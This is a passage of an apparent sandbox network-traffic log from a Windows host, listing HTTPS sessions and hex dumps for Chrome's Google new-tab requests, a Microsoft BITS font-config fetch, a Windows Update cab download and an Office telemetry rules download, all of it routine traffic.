2024-12-07 07:43:15 UTC	658	IN	Data Raw: 22 32 30 32 36 20 68 79 75 6e 64 61 69 20 70 61 6c 69 73 61 64 65 22 2c 22 73 68 61 6e 65 20 62 69 65 62 65 72 20 63 6c 65 76 65 6c 61 6e 64 20 67 75 61 72 64 69 61 6e 73 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 73 6e 6f 77 20 66 6f 72 65 63 61 73 74 22 2c 22 6e 6a 20 64 72 6f 6e 65 73 20 66 6c 79 69 6e 67 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 Data Ascii: "2026 hyundai palisade","shane bieber cleveland guardians","winter storm snow forecast","nj drones flying"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google
2024-12-07 07:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.181.100	443	1988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:15 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	142.250.181.100	443	1988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:15 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 07:43:15 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 07:43:15 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 07:43:15 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-07 07:43:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	142.250.181.100	443	1988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:15 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 07:43:15 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 07:43:15 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 07:43:15 UTC	372	IN	Data Raw: 32 31 35 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 215a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700339,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2024-12-07 07:43:15 UTC	1224	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this
2024-12-07 07:43:15 UTC	496	IN	Data Raw: 31 65 39 0d 0a 28 54 64 5c 75 30 30 33 64 53 64 28 29 29 3b 72 65 74 75 72 6e 20 54 64 7d 3b 5c 6e 5f 2e 57 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 55 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 Data Ascii: 1e9(Td\u003dSd());return Td};\n_.Wd\u003dfunction(a){const b\u003d_.Ud();return new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfuncti
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d Data Ascii: 8000null?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"num
2024-12-07 07:43:15 UTC	1390	IN	Data Raw: 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 Data Ascii: 03dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49722	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 07:43:19 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=90932 Date: Sat, 07 Dec 2024 07:43:19 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49728	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 07:43:21 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=223395 Date: Sat, 07 Dec 2024 07:43:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-07 07:43:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=haaDPKgATB8gebU&MD=7xOUr2Mf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 07:43:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2d2202c7-1829-49ea-bb77-2191daf54f32 MS-RequestId: 283179a1-9c17-4c7a-871e-9d00d1765bca MS-CV: 7J5NTER2bkmMajRs.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 07:43:21 GMT Connection: close Content-Length: 24490
2024-12-07 07:43:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-07 07:43:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:24 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:25 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:24 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: 1f1786e0-601e-0050-7103-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074324Z-r1cf579d7788pwqzhC1EWRrpd800000001z00000000037y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
